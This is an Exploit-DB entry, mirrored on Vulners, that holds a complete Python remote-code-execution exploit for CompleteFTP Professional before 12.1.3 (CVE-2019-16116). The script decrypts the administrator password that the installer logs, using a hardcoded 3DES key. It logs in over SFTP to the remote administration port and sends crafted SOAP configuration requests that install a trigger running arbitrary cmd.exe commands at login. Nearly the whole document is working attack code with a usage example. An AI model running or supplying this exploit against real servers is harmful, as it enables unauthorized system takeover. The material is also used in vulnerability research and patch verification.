Lucene search
K

CompleteFTP Professional 12.1.3 - Remote Code Execution

🗓️ 09 Jul 2020 00:00:00Reported by 1F98DType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 232 Views

CompleteFTP Professional 12.1.3 - Remote Code Execution through obscure admin password logging and remote administration interface

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2019-16116
2 Oct 201917:04
circl
CVE
CVE-2019-16116
2 Oct 201915:29
cve
Cvelist
CVE-2019-16116
2 Oct 201915:29
cvelist
EUVD
EUVD-2019-6957
7 Oct 202500:30
euvd
NVD
CVE-2019-16116
2 Oct 201916:15
nvd
OSV
CVE-2019-16116
2 Oct 201916:15
osv
Prion
Information disclosure
2 Oct 201916:15
prion
RedhatCVE
CVE-2019-16116
7 Jan 202609:33
redhatcve
Rhino Security Labs
CompleteFTP Server Local Privilege EscalationCVE-2019-16116
1 Oct 201910:12
rhino
# Exploit Title: CompleteFTP Professional < 12.1.3 - Remote Code Execution
# Date: 2020-03-11
# Exploit Author: 1F98D
# Original Author: Rhino Security Labs
# Vendor Homepage: https://enterprisedt.com/products/completeftp/
# Version: CompleteFTP Professional
# Tested on: Windows 10 (x64)
# CVE: CVE‑2019‑16116
# References:
# https://rhinosecuritylabs.com/application-security/completeftp-server-local-privesc-cve-2019-16116/
# https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-16116
#
# CompleteFTP before 12.1.3 logs an obscured administrator password to a file
# during installation (C:\Program Files (x86)\Complete FTP\Server\Bootstrapper.log)
# if CompleteFTP is configured to permit remote administration (over port 14983) it
# is possible to obtain remote code execution through the administration interface
#
# This script requires the following python modules are installed
# pip install paramiko pycryptodome uuid
# 
#!/usr/local/bin/python3

from paramiko.sftp import CMD_EXTENDED
from base64 import b64encode, b64decode
from Crypto.Util.Padding import unpad
from Crypto.Cipher import DES3
import xml.etree.ElementTree as ET
import paramiko
import struct
import uuid
import sys

# region get_server_info
get_server_info = """
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<i2:GetServerInfo id="ref-1" xmlns:i2="Admin API">
</i2:GetServerInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".strip()
# endregion

# region update_config
update_config = """
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<i2:UpdateConfig id="ref-1" xmlns:i2="Admin API">
<changes href="#ref-4"/>
</i2:UpdateConfig>
<a1:ConfigDataSet id="ref-4" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/EnterpriseDT.Net.FtpServer.Config/CompleteFTPManager%2C%20Version%3D8.3.3.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D48e55b33069804ce">
<DataSet.RemotingVersion href="#ref-5"/>
<XmlSchema id="ref-6">{XMLSCHEMA}</XmlSchema>
<XmlDiffGram id="ref-7">{XMLDIFFGRAM}</XmlDiffGram>
</a1:ConfigDataSet>
<a2:Version id="ref-5" xmlns:a2="http://schemas.microsoft.com/clr/ns/System">
<_Major>2</_Major>
<_Minor>0</_Minor>
<_Build>-1</_Build>
<_Revision>-1</_Revision>
</a2:Version>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".strip()
# endregion

# region xml_schema
xml_schema = """
<?xml version="1.0" encoding="utf-16"?>
<xs:schema id="ConfigDataSet" targetNamespace="http://tempuri.org/ConfigDataSet.xsd" xmlns:mstns="http://tempuri.org/ConfigDataSet.xsd" xmlns="http://tempuri.org/ConfigDataSet.xsd" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:msprop="urn:schemas-microsoft-com:xml-msprop" attributeFormDefault="qualified" elementFormDefault="qualified">
  <xs:element name="ConfigDataSet" msdata:IsDataSet="true" msdata:Locale="en-US" msdata:TimestampingEnabled="False">
    <xs:complexType>
      <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element name="PlugIn">
          <xs:complexType>
            <xs:sequence>
              <xs:element name="PlugInID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
              <xs:element name="Name" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd">
                <xs:simpleType>
                  <xs:restriction base="xs:string">
                    <xs:maxLength value="100" />
                  </xs:restriction>
                </xs:simpleType>
              </xs:element>
              <xs:element name="ClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd">
                <xs:simpleType>
                  <xs:restriction base="xs:string">
                    <xs:maxLength value="400" />
                  </xs:restriction>
                </xs:simpleType>
              </xs:element>
              <xs:element name="PlugInTypeID" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
              <xs:element name="Configuration" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
              <xs:element name="CreatedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
              <xs:element name="ModifiedTime" type="xs:dateTime" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
              <xs:element name="UserInstance" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
              <xs:element name="System" type="xs:boolean" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" />
              <xs:element name="EditorClassName" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0">
                <xs:simpleType>
                  <xs:restriction base="xs:string">
                    <xs:maxLength value="100" />
                  </xs:restriction>
                </xs:simpleType>
              </xs:element>
              <xs:element name="AssemblyPath" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0">
              </xs:element>
              <xs:element name="MinimumEdition" type="xs:int" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
              <xs:element name="ChangeSetID" msdata:DataType="System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:string" msdata:targetNamespace="http://tempuri.org/ConfigDataSet.xsd" minOccurs="0" />
            </xs:sequence>
          </xs:complexType>
        </xs:element>
        <xs:element name="Server">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="SiteUser">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="Site">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="Node">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="TrashHeap1">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="TrashHeap2">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="ChangeSet">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
        <xs:element name="RuntimeVariable">
          <xs:complexType>
          </xs:complexType>
        </xs:element>
      </xs:choice>
    </xs:complexType>
    <xs:unique name="PlugIn_Constraint1" msdata:ConstraintName="Constraint1" msdata:PrimaryKey="true">
      <xs:selector xpath=".//mstns:PlugIn" />
      <xs:field xpath="mstns:PlugInID" />
    </xs:unique>
  </xs:element>
</xs:schema>
""".replace("<", "&lt;").replace(">", "&gt;").replace('"', "&#34;").strip()
# endregion

# region xml_diffgram
xml_diffgram = """
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
  <ConfigDataSet xmlns="http://tempuri.org/ConfigDataSet.xsd">
    <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" diffgr:hasChanges="modified">
      <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID>
      <Name>Process Execution</Name>
      <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName>
      <PlugInTypeID>2</PlugInTypeID>
      <Configuration>{CONFIGURATION}</Configuration>
      <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime>
      <ModifiedTime>2020-03-10T10:52:00.7496654+08:00</ModifiedTime>
      <UserInstance>false</UserInstance>
      <System>true</System>
      <ChangeSetID>{ID}</ChangeSetID>
    </PlugIn>
    <PlugInType diffgr:id="PlugInType1" msdata:rowOrder="0">
      <PlugInTypeID>2</PlugInTypeID>
      <Name>Event</Name>
      <CreatedTime>2009-06-29T11:48:00+08:00</CreatedTime>
      <ModifiedTime>2009-06-29T11:48:00+08:00</ModifiedTime>
    </PlugInType>
    <ChangeSet diffgr:id="ChangeSet1" msdata:rowOrder="0">
      <ChangeSetID></ChangeSetID>
      <Sequence>3</Sequence>
      <CreatedTime>2020-03-10T10:50:44.4209655+08:00</CreatedTime>
      <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime>
      <IsPrimary>true</IsPrimary>
    </ChangeSet>
  </ConfigDataSet>
  <diffgr:before>
    <PlugIn diffgr:id="PlugIn1" msdata:rowOrder="0" xmlns="http://tempuri.org/ConfigDataSet.xsd">
      <PlugInID>88428040-73b3-4497-9b6d-69af2f1cc3c7</PlugInID>
      <Name>Process Execution</Name>
      <ClassName>EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger</ClassName>
      <PlugInTypeID>2</PlugInTypeID>
      <Configuration></Configuration>
      <CreatedTime>2020-03-10T18:33:41.107+08:00</CreatedTime>
      <ModifiedTime>2020-03-10T10:50:44.4209655+08:00</ModifiedTime>
      <UserInstance>false</UserInstance>
      <System>true</System>
      <ChangeSetID></ChangeSetID>
    </PlugIn>
  </diffgr:before>
</diffgr:diffgram>
""".strip()
# endregion

# region config
config = """
<TriggerDataSet xmlns="http://tempuri.org/TriggerDataSet.xsd">
    <ProcessConfig>
        <ProcessConfigID>0</ProcessConfigID>
        <MaxProcesses>10</MaxProcesses>
        <RunTimeout>0</RunTimeout>
        <QueueTimeout>0</QueueTimeout>
        <KillOnExit>true</KillOnExit>
    </ProcessConfig>
    <ProcessRule>
        <ProcessRuleID>1</ProcessRuleID>
        <ProcessConfigID>0</ProcessConfigID>
        <Name>trigger</Name>
        <Enabled>true</Enabled>
        <ProcessType>0</ProcessType>
        <ProcessPath>cmd.exe</ProcessPath>
        <Arguments>/c {CMD}</Arguments>
        <PathFilter>*</PathFilter>
        <OnError>false</OnError>
        <OnSuccess>true</OnSuccess>
        <RowOrder>1</RowOrder>
    </ProcessRule>
    <ProcessEvent>
        <ProcessRuleID>1</ProcessRuleID>
        <EventType>LogIn</EventType>
    </ProcessEvent>
</TriggerDataSet>
""".strip()
# endregion

def prepare_update_config(uuid, cmd):
    config_payload = config
    config_payload = config_payload.replace('{CMD}', cmd)
    config_payload = config_payload.replace('<', '&lt;')
    config_payload = config_payload.replace('>', '&gt;')

    diffgram_payload = xml_diffgram
    diffgram_payload = diffgram_payload.replace('{CONFIGURATION}', config_payload)
    diffgram_payload = diffgram_payload.replace('{ID}', uuid)
    diffgram_payload = diffgram_payload.replace('&', '&#38;')
    diffgram_payload = diffgram_payload.replace('<', '&#60;')
    diffgram_payload = diffgram_payload.replace('>', '&#62;')
    diffgram_payload = diffgram_payload.replace('"', '&#34;')

    payload = update_config
    payload = payload.replace('{XMLSCHEMA}', xml_schema)
    payload = payload.replace('{XMLDIFFGRAM}', diffgram_payload)

    return payload

def send_request(sftp, payload):
    payload = b64encode(bytes(payload, 'utf-8')).decode('utf-8')
    res = sftp._request(CMD_EXTENDED, '[email protected]', 'SOAP64 ' + payload)
    return res

def convert_changeset_id_to_uuid(changeset_id):
    a = struct.pack('i', int(changeset_id[0].text))  # 32
    b = struct.pack('h', int(changeset_id[1].text))  # 16
    c = struct.pack('h', int(changeset_id[2].text))  # 16
    d = struct.pack('B', int(changeset_id[3].text))  # 8
    e = struct.pack('B', int(changeset_id[4].text))  # 8
    f = struct.pack('B', int(changeset_id[5].text))  # 8
    g = struct.pack('B', int(changeset_id[6].text))  # 8
    h = struct.pack('B', int(changeset_id[7].text))  # 8
    i = struct.pack('B', int(changeset_id[8].text))  # 8
    j = struct.pack('B', int(changeset_id[9].text))  # 8
    k = struct.pack('B', int(changeset_id[10].text)) # 8

    x = a + b + c + d + e + f + g + h + i + j + k
    return uuid.UUID(bytes_le=x)

def get_uuid(sftp):
    res = send_request(sftp, get_server_info)
    if res[0] != 201:
        print('[!] Error could not request server info via SFTP')
        sys.exit(1)
    
    res = b64decode(res[1].get_string()).decode('utf-8')
    res = ET.fromstring(res)
    changeset_id = res.find('.//SyncChangeSetID')
    uuid = convert_changeset_id_to_uuid(changeset_id)
    return str(uuid)

def login(host, port, user, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(host, port, user, password, look_for_keys=False, allow_agent=False)
    return ssh.open_sftp()

def send_command(sftp, cmd):
    uuid = get_uuid(sftp)
    payload = prepare_update_config(uuid, cmd)
    res = send_request(sftp, payload)
    if res[0] != 201:
        print('[!] Error could not send update config request via SFTP')
        sys.exit(1)

def decrypt_password(password):
  key = b64decode('HKVV76GdVuzXne/zxtWvdjA2d2Am548E')
  iv = b64decode('gVGow/9uLvM=')
  encrypted = b64decode(password)
  cipher = DES3.new(key=key, iv=iv, mode=DES3.MODE_CBC)
  decrypted = cipher.decrypt(encrypted)
  return unpad(decrypted, 8).decode('utf-16')

if len(sys.argv) != 6:
    print('[!] Missing arguments')
    print('[ ] Usage: {} <target> <port> <username> <encrypted-password> <cmd>'.format(sys.argv[0]))
    print("[ ] E.g. {} 192.168.1.128 14983 admin DEomw27OY7sYZs4XjYA2kVB4LEB5skN4 'whoami > C:\\x.txt'".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]
cmd = sys.argv[5]

print('[ ] Decrypting password')
password = decrypt_password(password)
print('[ ] Decrypted password is "{}"'.format(password))

print('[ ] Logging in')
sftp = login(target, port, username, password)

print('[ ] Sending command')
send_command(sftp, cmd)

print('[ ] Command successfully sent, triggering...')
sftp = login(target, port, username, password)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation